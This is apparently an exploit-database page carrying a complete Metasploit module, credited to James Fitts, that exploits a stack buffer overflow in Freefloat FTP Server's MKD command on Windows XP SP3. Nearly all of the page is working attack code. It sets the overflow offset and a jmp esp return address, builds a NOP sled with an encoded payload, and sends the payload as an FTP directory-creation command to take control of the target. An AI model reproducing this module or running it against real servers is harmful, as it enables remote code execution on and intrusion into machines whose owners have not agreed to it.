Freefloat FTP Server MKD Buffer Overflow (MSF)



EKU-ID: 736 CVE: OSVDB-ID:
Author: James Fitts Published: 2011-07-19 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Freefloat FTP Server MKD Command Stack Overflow',
   'Description'    => %q{
      This module exploits a buffer overflow vulnerability
      found in the MKD command in the Freefloat FTP server.
   },
   'Author'         => [
      'C4SS!0 G0M3S',  # Initial Discovery
      'James Fitts' # Metasploit Module
     ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/17539/' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space' => 700,
     'BadChars' => "\x00\x0a\x0d",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP3',
      {
       'Ret' => 0x7cb97475, # jmp esp from shell32.dll
       'Offset' => 247
      }
     ],
    ],
   'DisclosureDate' => 'Jul 17 2011',
   'DefaultTarget' => 0))
 end

 def exploit
  connect_login

  print_status("Trying target #{target.name}...")

  buf = make_nops(target['Offset']) + [target.ret].pack('V')
  buf << make_nops(20)
  buf << payload.encoded

  send_cmd( ['MKD', buf] , false )

  handler
  disconnect
 end

end